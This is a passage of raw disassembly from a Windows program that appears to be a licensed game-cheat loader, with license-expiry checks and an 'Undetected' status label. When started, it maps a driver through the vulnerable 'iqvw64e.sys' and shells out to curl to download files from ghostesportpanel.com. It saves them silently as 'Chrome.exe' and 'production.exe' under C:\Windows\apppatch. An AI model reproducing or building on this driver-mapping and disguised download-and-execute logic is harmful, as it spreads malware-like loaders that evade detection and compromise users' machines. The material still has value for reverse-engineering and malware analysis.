lea rcx, [rsp + 0x330]
call fcn.140066ba0
nop
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call fcn.140066d10
nop
lea rcx, [rsp + 0x330]
call fcn.140065a90
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x358]
call fcn.140065c40
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.14005a080
nop
lea r8, [rsp + 0x380]
lea rdx, str.curl
lea rcx, [rsp + 0x3e0]
call fcn.140066d80
nop
lea r8, str.__o_C:Windows_apppatchproduction.exe___silent
mov rdx, rax
lea rcx, [rsp + 0x330]
call fcn.140066b30
mov rcx, rax
call fcn.140065a00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x330]
call fcn.140065a90
nop
lea rcx, [rsp + 0x3e0]
call fcn.140065a90
call fcn.140059720
nop
lea rcx, [rsp + 0x380]
call fcn.140065a90
nop
lea rcx, [rsp + 0x3a0]
call fcn.140065a90
jmp 0x14005de4b
lea rcx, str.Dont_Have_License
call fcn.140050c40
mov rcx, qword [0x14013fd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r14 + r10*4 + 0x81258]
cmp dword [r14 + r10*4 + 0x81250], 8
jne 0x14005debb
mov eax, dword [r14 + r10*4 + 0x81254]
cmp eax, 1
jne 0x14005de9c
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005debb
cmp eax, 2
jne 0x14005debb
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e50
mov eax, dword [0x1401401c8]
test eax, eax
jne 0x14005f14a
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm14
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae954]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43870000
mov dword [rsp + 0x2d4], 0x435c0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container3
call fcn.1400190b0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005dfa9
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005dfb8
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x2d0]
mov edx, eax
lea rcx, str.container3
call fcn.140020c30
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rdi, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rsp + 0x68], xmm6
movss dword [rsp + 0x6c], xmm7
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x2d0], 0x3f800000
mov dword [rsp + 0x2d4], 0x3f800000
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov dword [rsp + 0x50], eax
addss xmm7, xmm9
addss xmm6, xmm10
movss dword [rsp + 0x310], xmm6
movss dword [rsp + 0x314], xmm7
mov r15, qword [0x14013fde8]
test eax, 0xff000000
je 0x14005e14c
mov r13, qword [rdi + 0x98]
cmp r15, r13
je 0x14005e0a3
mov rdx, r15
mov rcx, rdi
call fcn.1400423a0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rsp + 0x310]
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.1400446b0
mov r9d, dword [rsp + 0x50]
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400436e0
mov dword [rdi + 0x78], 0
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400459d0
cmp r15, r13
je 0x14005e14c
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005e134
xor eax, eax
jmp 0x14005e13d
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
lea rdx, [0x1401403f0]
lea rcx, [rsp + 0x330]
call fcn.140065c40
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005e170
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005e1b9
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005e1b4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005e2f9
mov rcx, r8
call fcn.14007ba50
xor r15d, r15d
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm11
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013fd88]
call fcn.1400272d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
sub rdi, rax
movabs r13, 0x1845c8a0ce512957
mov rax, r13
imul rdi
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
cmp r10d, 0x13a6
jg 0x14005e34c
cmp r10d, 0x1388
jge 0x14005e300
mov rax, qword [0x14013fd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a60
mov dword [rsp + 0x20], 0xff
lea edx, [r15 + 0x2d]
mov r9d, 0xfc
lea r8d, [r15 + 0x65]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
lea rdx, str.No_License
jmp 0x14005e362
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
lea r8d, [r10 - 0x1388]
lea rdx, str._d_Days
lea rcx, [rsp + 0x2f0]
call fcn.140050280
jmp 0x14005e36f
movaps xmm0, xmmword [0x1400aec20]
movups xmmword [rsp + 0x2f0], xmm0
lea rdx, str.Lifetime
lea rcx, [rsp + 0x2f0]
call fcn.140050280
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ae874]
addss xmm0, dword [0x1400ae888]
movss dword [rsp + 0x310], xmm0
movss dword [rsp + 0x314], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ae844]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae840]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0x4c02ddf5
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae7f8]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0xff02ddf5
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm11
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ae894]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400aeb40]
movups xmmword [rsp + 0x2f0], xmm1
lea rdx, str.Updating
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rbx, qword [0x14013fd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x2d0], 0xb
movss dword [rsp + 0x2d4], xmm0
lea rdx, [rsp + 0x2d0]
call fcn.140039460
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm15
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ae89c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43340000
mov dword [rsp + 0x2d4], 0x41f00000
lea rdx, [rsp + 0x2d0]
lea rcx, str.Dont_Have_License
call fcn.140050c40
mov rcx, qword [0x14013fd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea rax, [rax + rax*2]
mov r9d, dword [r14 + rax*4 + 0x81258]
cmp dword [r14 + rax*4 + 0x81250], 8
jne 0x14005e65b
mov eax, dword [r14 + rax*4 + 0x81254]
cmp eax, 1
jne 0x14005e63c
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005e65b
cmp eax, 2
jne 0x14005e65b
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e50
mov eax, dword [0x1401401c8]
test eax, eax
jne 0x14005f14a
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x1400ae92c]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ae928]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43870000
mov dword [rsp + 0x2d4], 0x43610000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container4
call fcn.1400190b0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005e750
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005e75f
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x2d0]
mov edx, eax
lea rcx, str.container4
call fcn.140020c30
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rdi, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rsp + 0x68], xmm6
movss dword [rsp + 0x6c], xmm7
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x2d0], 0x3f800000
mov dword [rsp + 0x2d4], 0x3f800000
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov dword [rsp + 0x50], eax
addss xmm7, xmm9
addss xmm6, xmm10
movss dword [rsp + 0x310], xmm6
movss dword [rsp + 0x314], xmm7
mov r15, qword [0x14013fde0]
test eax, 0xff000000
je 0x14005e8f9
mov r13, qword [rdi + 0x98]
cmp r15, r13
je 0x14005e846
mov rdx, r15
mov rcx, rdi
call fcn.1400423a0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rsp + 0x310]
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.1400446b0
mov r9d, dword [rsp + 0x50]
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400436e0
mov dword [rdi + 0x78], 0
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400459d0
cmp r15, r13
je 0x14005e8ef
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005e8d7
xor eax, eax
jmp 0x14005e8e0
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
movabs r13, 0x1845c8a0ce512957
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm11
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013fd88]
call fcn.1400272d0
lea rdx, [0x1401403f0]
lea rcx, [rsp + 0x330]
call fcn.140065c40
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005e9a5
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005e9eb
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005e9e6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005ebe0
mov rcx, r8
call fcn.14007ba50
xor r15d, r15d
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x400], xmm0
movups xmmword [rsp + 0x410], xmm0
mov dword [rsp + 0x420], eax
lea rax, [r14 + 0xae3f0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x100]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov eax, dword [rsp + 0x58]
or eax, 4
mov dword [rsp + 0x50], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x70], rbx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x6c], edx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x2d0], rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x80], rax
lea rdx, [0x140140018]
cmp qword [0x140140030], 0xf
cmova rdx, qword [0x140140018]
lea r9d, [r15 + 2]
mov r8, qword [0x140140028]
lea rcx, [rsp + 0x80]
call fcn.1400663c0
nop
lea rax, [rsp + 0x400]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], rsi
mov qword [rsp + 0x300], rsi
inc rsi
cmp byte [rsi], 0
jne 0x14005eb07
mov qword [rsp + 0x300], rsi
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x70]
call fcn.14006b640
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rbx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x80]
call fcn.140064880
lea rcx, [rsp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x400]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
sub rdi, rdx
cmp rdi, 0x278d00
jle 0x14005ebe7
movaps xmm0, xmmword [0x1400aec20]
movups xmmword [rsp + 0x2f0], xmm0
lea rdx, str.Lifetime
lea rcx, [rsp + 0x2f0]
call fcn.140050280
jmp 0x14005ecbb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rdi, rdi
jg 0x14005ec5e
mov rax, qword [0x14013fd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a60
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
lea rdx, str.No_License
lea rcx, [rsp + 0x2f0]
call fcn.140050280
jmp 0x14005ecbb
mov rax, r13
imul rdi
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
mov r8d, r10d
lea rdx, str._d_Days
lea rcx, [rsp + 0x2f0]
call fcn.140050280
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ae874]
addss xmm0, dword [0x1400ae888]
movss dword [rsp + 0x310], xmm0
movss dword [rsp + 0x314], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ae844]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae840]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0x4c0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae7f8]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0xff0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm11
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ae894]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400aeb60]
movups xmmword [rsp + 0x2f0], xmm1
lea rdx, str.Undetected
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rbx, qword [0x14013fd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x2d0], 0xb
movss dword [rsp + 0x2d4], xmm0
lea rdx, [rsp + 0x2d0]
call fcn.140039460
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm15
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400ae89c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43340000
mov dword [rsp + 0x2d4], 0x41f00000
lea rdx, [rsp + 0x2d0]
test rdi, rdi
jle 0x14005f0bd
lea rcx, str.Start
call fcn.140050c40
test al, al
je 0x14005f0c9
lea r8, str.downloadfn.php_hwid
lea rcx, [rsp + 0x330]
call fcn.140066ba0
nop
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call fcn.140066d10
nop
lea rcx, [rsp + 0x330]
call fcn.140065a90
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x358]
call fcn.140065c40
mov rdx, rax
lea rcx, [rsp + 0x3e0]
call fcn.14005a080
nop
call fcn.140075410
mov rbx, rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x14005efd2
xor r9d, r9d
lea r8, str.Regst
lea rdx, str.Couldnt_Load_Driver_iqvw64e.sys
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [0x140140138]
lea rcx, [rsp + 0x2f0]
call fcn.140065850
mov rdx, rax
mov rcx, rbx
call fcn.1400785c0
test rax, rax
jne 0x14005f01c
xor r9d, r9d
lea r8, str.Regst
lea rdx, str.Failder_To_Map_Driver
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call fcn.140075860
jmp 0x14005f0a0
mov rcx, rbx
call fcn.140075860
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, r12
lea rdx, str.curl_https:__ghostesportpanel.com_download_downloadfn_hwid
lea rcx, [rsp + 0x330]
call fcn.140066d80
nop
lea r8, str.__o_C:Windows_apppatchChrome.exe___silent
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.140066b30
nop
lea rcx, [rsp + 0x330]
call fcn.140065a90
lea rcx, [rsp + 0x380]
call fcn.140065a00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140059a00
lea rcx, [rsp + 0x380]
call fcn.140065a90
nop
lea rcx, [rsp + 0x3e0]
call fcn.140065a90
nop
lea rcx, [rsp + 0x3a0]
call fcn.140065a90
jmp 0x14005f0c9
lea rcx, str.Dont_Have_License
call fcn.140050c40
mov rcx, qword [0x14013fd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r14 + r10*4 + 0x81258]
cmp dword [r14 + r10*4 + 0x81250], 8
jne 0x14005f139
mov eax, dword [r14 + r10*4 + 0x81254]
cmp eax, 1
jne 0x14005f11a
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005f139
cmp eax, 2
jne 0x14005f139
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e50
mov eax, dword [0x1401401c8]
movss xmm13, dword [0x1400ae87c]
cmp eax, 1
jne 0x1400602d1
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
movss xmm6, dword [rax + 0x118]
movss dword [rsp + 0x58], xmm6
movss xmm7, dword [rax + 0x11c]
movss dword [rsp + 0x50], xmm7
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, xmm14
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm10, dword [0x1400ae930]
addss xmm0, xmm10
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm2
movss xmm0, dword [rax + 0x130]
maxss xmm0, dword [rax + 0x118]
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x443a4000
mov dword [rsp + 0x2d4], 0x431b0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
